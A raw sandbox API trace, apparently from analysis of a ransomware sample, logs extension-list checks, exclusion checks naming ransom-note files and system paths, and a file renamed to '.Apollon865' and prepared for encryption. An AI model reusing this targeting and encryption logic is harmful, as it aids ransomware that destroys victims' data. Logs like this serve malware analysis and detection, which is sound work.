	[0081.472] lstrlenW (lpString="mas") returned 3
	[0081.472] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0081.472] lstrlenW (lpString="mav") returned 3
	[0081.472] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0081.472] lstrlenW (lpString="maw") returned 3
	[0081.472] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0081.472] lstrlenW (lpString="mdbhtml") returned 7
	[0081.472] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0081.472] lstrlenW (lpString="mdn") returned 3
	[0081.472] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0081.472] lstrlenW (lpString="mdt") returned 3
	[0081.472] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0081.472] lstrlenW (lpString="mfd") returned 3
	[0081.472] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0081.472] lstrlenW (lpString="mpd") returned 3
	[0081.472] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0081.472] lstrlenW (lpString="mrg") returned 3
	[0081.472] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0081.472] lstrlenW (lpString="mud") returned 3
	[0081.472] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0081.472] lstrlenW (lpString="mwb") returned 3
	[0081.472] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0081.472] lstrlenW (lpString="myd") returned 3
	[0081.472] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0081.472] lstrlenW (lpString="ndf") returned 3
	[0081.472] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0081.472] lstrlenW (lpString="nnt") returned 3
	[0081.472] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0081.472] lstrlenW (lpString="nrmlib") returned 6
	[0081.472] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0081.472] lstrlenW (lpString="ns2") returned 3
	[0081.472] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0081.472] lstrlenW (lpString="ns3") returned 3
	[0081.472] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0081.473] lstrlenW (lpString="ns4") returned 3
	[0081.473] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0081.473] lstrlenW (lpString="nsf") returned 3
	[0081.473] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0081.473] lstrlenW (lpString="nv") returned 2
	[0081.473] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0081.473] lstrlenW (lpString="nv2") returned 3
	[0081.473] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0081.473] lstrlenW (lpString="nwdb") returned 4
	[0081.473] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0081.473] lstrlenW (lpString="nyf") returned 3
	[0081.473] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0081.473] lstrlenW (lpString="odb") returned 3
	[0081.473] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.473] lstrlenW (lpString="odb") returned 3
	[0081.473] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.473] lstrlenW (lpString="oqy") returned 3
	[0081.473] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0081.473] lstrlenW (lpString="ora") returned 3
	[0081.473] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0081.473] lstrlenW (lpString="orx") returned 3
	[0081.473] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0081.473] lstrlenW (lpString="owc") returned 3
	[0081.473] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0081.473] lstrlenW (lpString="p96") returned 3
	[0081.473] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0081.473] lstrlenW (lpString="p97") returned 3
	[0081.473] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0081.473] lstrlenW (lpString="pan") returned 3
	[0081.473] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0081.473] lstrlenW (lpString="pdb") returned 3
	[0081.473] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0081.473] lstrlenW (lpString="pdm") returned 3
	[0081.473] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0081.473] lstrlenW (lpString="pnz") returned 3
	[0081.473] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0081.473] lstrlenW (lpString="qry") returned 3
	[0081.474] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0081.474] lstrlenW (lpString="qvd") returned 3
	[0081.474] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0081.474] lstrlenW (lpString="rbf") returned 3
	[0081.474] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0081.474] lstrlenW (lpString="rctd") returned 4
	[0081.474] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0081.474] lstrlenW (lpString="rod") returned 3
	[0081.474] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0081.474] lstrlenW (lpString="rodx") returned 4
	[0081.474] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0081.474] lstrlenW (lpString="rpd") returned 3
	[0081.474] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0081.474] lstrlenW (lpString="rsd") returned 3
	[0081.474] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0081.474] lstrlenW (lpString="sas7bdat") returned 8
	[0081.474] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0081.474] lstrlenW (lpString="sbf") returned 3
	[0081.474] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0081.474] lstrlenW (lpString="scx") returned 3
	[0081.474] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0081.474] lstrlenW (lpString="sdb") returned 3
	[0081.474] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0081.474] lstrlenW (lpString="sdc") returned 3
	[0081.474] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0081.474] lstrlenW (lpString="sdf") returned 3
	[0081.474] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0081.474] lstrlenW (lpString="sis") returned 3
	[0081.474] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0081.474] lstrlenW (lpString="spq") returned 3
	[0081.474] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0081.474] lstrlenW (lpString="te") returned 2
	[0081.474] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0081.474] lstrlenW (lpString="teacher") returned 7
	[0081.474] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0081.474] lstrlenW (lpString="tmd") returned 3
	[0081.474] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0081.474] lstrlenW (lpString="tps") returned 3
	[0081.475] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0081.475] lstrlenW (lpString="trc") returned 3
	[0081.475] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.475] lstrlenW (lpString="trc") returned 3
	[0081.475] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.475] lstrlenW (lpString="trm") returned 3
	[0081.475] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0081.475] lstrlenW (lpString="udb") returned 3
	[0081.475] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0081.475] lstrlenW (lpString="udl") returned 3
	[0081.475] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0081.475] lstrlenW (lpString="usr") returned 3
	[0081.475] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0081.475] lstrlenW (lpString="v12") returned 3
	[0081.475] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0081.475] lstrlenW (lpString="vis") returned 3
	[0081.475] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0081.475] lstrlenW (lpString="vpd") returned 3
	[0081.475] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0081.475] lstrlenW (lpString="vvv") returned 3
	[0081.475] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0081.475] lstrlenW (lpString="wdb") returned 3
	[0081.475] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0081.475] lstrlenW (lpString="wmdb") returned 4
	[0081.475] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0081.475] lstrlenW (lpString="wrk") returned 3
	[0081.475] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0081.475] lstrlenW (lpString="xdb") returned 3
	[0081.475] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0081.475] lstrlenW (lpString="xld") returned 3
	[0081.475] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0081.475] lstrlenW (lpString="xmlff") returned 5
	[0081.475] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0081.475] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll.Apollon865") returned 81
	[0081.475] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\ppintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\ppintl.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0081.478] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\ppintl.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0081.478] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=53600) returned 1
	[0081.478] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0081.478] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0081.478] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0081.478] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0081.479] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0081.479] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.479] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd460, lpName=0x0) returned 0x15c
	[0081.484] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd460) returned 0x100000
	[0081.490] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0081.490] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0081.490] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.490] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0081.490] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0081.490] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0081.491] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0081.491] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0081.491] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0081.491] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0081.491] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0081.491] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0081.491] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0081.491] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0081.491] CloseHandle (hObject=0x15c) returned 1
	[0081.492] CloseHandle (hObject=0x9c) returned 1
	[0081.492] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0081.492] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0081.492] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0081.492] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19196700, ftCreationTime.dwHighDateTime=0x1cac804, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x19196700, ftLastWriteTime.dwHighDateTime=0x1cac804, nFileSizeHigh=0x0, nFileSizeLow=0x43560, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PPINTL.REST.trx_dll", cAlternateFileName="PPINTL~2.TRX")) returned 1
	[0081.492] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0081.492] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0081.492] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".") returned 1
	[0081.492] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="..") returned 1
	[0081.492] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="windows") returned -1
	[0081.492] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="bootmgr") returned 1
	[0081.492] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="temp") returned -1
	[0081.492] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="pagefile.sys") returned 1
	[0081.492] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="boot") returned 1
	[0081.492] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="ids.txt") returned 1
	[0081.492] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="ntuser.dat") returned 1
	[0081.492] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="perflogs") returned 1
	[0081.492] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="MSBuild") returned 1
	[0081.492] lstrlenW (lpString="PPINTL.REST.trx_dll") returned 19
	[0081.492] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll") returned 70
	[0081.492] lstrcpyW (in: lpString1=0x119e670, lpString2="PPINTL.REST.trx_dll" | out: lpString1="PPINTL.REST.trx_dll") returned="PPINTL.REST.trx_dll"
	[0081.493] lstrlenW (lpString="PPINTL.REST.trx_dll") returned 19
	[0081.493] lstrlenW (lpString="Apollon865") returned 10
	[0081.493] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0081.493] lstrlenW (lpString=".dll") returned 4
	[0081.493] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0081.493] lstrlenW (lpString=".lnk") returned 4
	[0081.493] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0081.493] lstrlenW (lpString=".ini") returned 4
	[0081.493] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0081.493] lstrlenW (lpString=".sys") returned 4
	[0081.493] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0081.493] lstrlenW (lpString="PPINTL.REST.trx_dll") returned 19
	[0081.493] lstrlenW (lpString="bak") returned 3
	[0081.493] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0081.493] lstrlenW (lpString="ba_") returned 3
	[0081.493] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0081.493] lstrlenW (lpString="dbb") returned 3
	[0081.493] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0081.493] lstrlenW (lpString="vmdk") returned 4
	[0081.493] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0081.493] lstrlenW (lpString="rar") returned 3
	[0081.493] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0081.493] lstrlenW (lpString="zip") returned 3
	[0081.493] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0081.493] lstrlenW (lpString="tgz") returned 3
	[0081.493] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0081.493] lstrlenW (lpString="vbox") returned 4
	[0081.493] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0081.493] lstrlenW (lpString="vdi") returned 3
	[0081.493] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0081.493] lstrlenW (lpString="vhd") returned 3
	[0081.493] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0081.493] lstrlenW (lpString="vhdx") returned 4
	[0081.493] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0081.493] lstrlenW (lpString="avhd") returned 4
	[0081.493] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0081.493] lstrlenW (lpString="db") returned 2
	[0081.494] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0081.494] lstrlenW (lpString="db2") returned 3
	[0081.494] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0081.494] lstrlenW (lpString="db3") returned 3
	[0081.494] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0081.494] lstrlenW (lpString="dbf") returned 3
	[0081.494] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0081.494] lstrlenW (lpString="mdf") returned 3
	[0081.494] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0081.494] lstrlenW (lpString="mdb") returned 3
	[0081.494] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0081.494] lstrlenW (lpString="sql") returned 3
	[0081.494] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0081.494] lstrlenW (lpString="sqlite") returned 6
	[0081.494] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0081.494] lstrlenW (lpString="sqlite3") returned 7
	[0081.494] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0081.494] lstrlenW (lpString="sqlitedb") returned 8
	[0081.494] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0081.494] lstrlenW (lpString="xml") returned 3
	[0081.494] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0081.494] lstrlenW (lpString="$er") returned 3
	[0081.494] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0081.494] lstrlenW (lpString="4dd") returned 3
	[0081.494] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0081.494] lstrlenW (lpString="4dl") returned 3
	[0081.494] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0081.494] lstrlenW (lpString="^^^") returned 3
	[0081.494] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0081.494] lstrlenW (lpString="abs") returned 3
	[0081.494] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0081.494] lstrlenW (lpString="abx") returned 3
	[0081.494] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0081.494] lstrlenW (lpString="accdb") returned 5
	[0081.494] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0081.494] lstrlenW (lpString="accdc") returned 5
	[0081.494] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0081.495] lstrlenW (lpString="accde") returned 5
	[0081.495] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0081.495] lstrlenW (lpString="accdr") returned 5
	[0081.495] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0081.495] lstrlenW (lpString="accdt") returned 5
	[0081.495] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0081.495] lstrlenW (lpString="accdw") returned 5
	[0081.495] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0081.495] lstrlenW (lpString="accft") returned 5
	[0081.495] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0081.495] lstrlenW (lpString="adb") returned 3
	[0081.495] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.495] lstrlenW (lpString="adb") returned 3
	[0081.495] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.501] lstrlenW (lpString="ade") returned 3
	[0081.501] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0081.501] lstrlenW (lpString="adf") returned 3
	[0081.501] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0081.501] lstrlenW (lpString="adn") returned 3
	[0081.501] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0081.501] lstrlenW (lpString="adp") returned 3
	[0081.501] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0081.501] lstrlenW (lpString="alf") returned 3
	[0081.501] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0081.501] lstrlenW (lpString="ask") returned 3
	[0081.501] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0081.501] lstrlenW (lpString="btr") returned 3
	[0081.501] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0081.501] lstrlenW (lpString="cat") returned 3
	[0081.501] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0081.501] lstrlenW (lpString="cdb") returned 3
	[0081.501] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0081.501] lstrlenW (lpString="ckp") returned 3
	[0081.502] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0081.502] lstrlenW (lpString="cma") returned 3
	[0081.502] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0081.502] lstrlenW (lpString="cpd") returned 3
	[0081.502] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0081.502] lstrlenW (lpString="dacpac") returned 6
	[0081.502] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0081.502] lstrlenW (lpString="dad") returned 3
	[0081.502] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0081.502] lstrlenW (lpString="dadiagrams") returned 10
	[0081.502] lstrcmpiW (lpString1="ST.trx_dll", lpString2="dadiagrams") returned 1
	[0081.502] lstrlenW (lpString="daschema") returned 8
	[0081.502] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0081.502] lstrlenW (lpString="db-journal") returned 10
	[0081.502] lstrcmpiW (lpString1="ST.trx_dll", lpString2="db-journal") returned 1
	[0081.502] lstrlenW (lpString="db-shm") returned 6
	[0081.502] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0081.502] lstrlenW (lpString="db-wal") returned 6
	[0081.502] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0081.502] lstrlenW (lpString="dbc") returned 3
	[0081.502] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0081.502] lstrlenW (lpString="dbs") returned 3
	[0081.502] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0081.502] lstrlenW (lpString="dbt") returned 3
	[0081.502] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0081.502] lstrlenW (lpString="dbv") returned 3
	[0081.502] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0081.502] lstrlenW (lpString="dbx") returned 3
	[0081.502] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0081.502] lstrlenW (lpString="dcb") returned 3
	[0081.502] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0081.502] lstrlenW (lpString="dct") returned 3
	[0081.502] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0081.502] lstrlenW (lpString="dcx") returned 3
	[0081.502] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0081.502] lstrlenW (lpString="ddl") returned 3
	[0081.502] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0081.502] lstrlenW (lpString="dlis") returned 4
	[0081.503] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0081.503] lstrlenW (lpString="dp1") returned 3
	[0081.503] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0081.503] lstrlenW (lpString="dqy") returned 3
	[0081.503] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0081.503] lstrlenW (lpString="dsk") returned 3
	[0081.503] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0081.503] lstrlenW (lpString="dsn") returned 3
	[0081.503] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0081.503] lstrlenW (lpString="dtsx") returned 4
	[0081.503] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0081.503] lstrlenW (lpString="dxl") returned 3
	[0081.503] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0081.503] lstrlenW (lpString="eco") returned 3
	[0081.503] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0081.503] lstrlenW (lpString="ecx") returned 3
	[0081.503] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0081.503] lstrlenW (lpString="edb") returned 3
	[0081.503] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0081.503] lstrlenW (lpString="epim") returned 4
	[0081.503] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0081.503] lstrlenW (lpString="fcd") returned 3
	[0081.503] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0081.503] lstrlenW (lpString="fdb") returned 3
	[0081.503] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0081.503] lstrlenW (lpString="fic") returned 3
	[0081.503] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0081.503] lstrlenW (lpString="flexolibrary") returned 12
	[0081.503] lstrcmpiW (lpString1="REST.trx_dll", lpString2="flexolibrary") returned 1
	[0081.503] lstrlenW (lpString="fm5") returned 3
	[0081.503] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0081.503] lstrlenW (lpString="fmp") returned 3
	[0081.503] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0081.503] lstrlenW (lpString="fmp12") returned 5
	[0081.503] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0081.503] lstrlenW (lpString="fmpsl") returned 5
	[0081.503] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0081.503] lstrlenW (lpString="fol") returned 3
	[0081.503] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0081.504] lstrlenW (lpString="fp3") returned 3
	[0081.504] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0081.504] lstrlenW (lpString="fp4") returned 3
	[0081.504] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0081.504] lstrlenW (lpString="fp5") returned 3
	[0081.504] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0081.504] lstrlenW (lpString="fp7") returned 3
	[0081.504] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0081.504] lstrlenW (lpString="fpt") returned 3
	[0081.504] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0081.504] lstrlenW (lpString="frm") returned 3
	[0081.504] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0081.504] lstrlenW (lpString="gdb") returned 3
	[0081.504] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.504] lstrlenW (lpString="gdb") returned 3
	[0081.504] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.504] lstrlenW (lpString="grdb") returned 4
	[0081.504] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0081.504] lstrlenW (lpString="gwi") returned 3
	[0081.504] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0081.504] lstrlenW (lpString="hdb") returned 3
	[0081.504] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
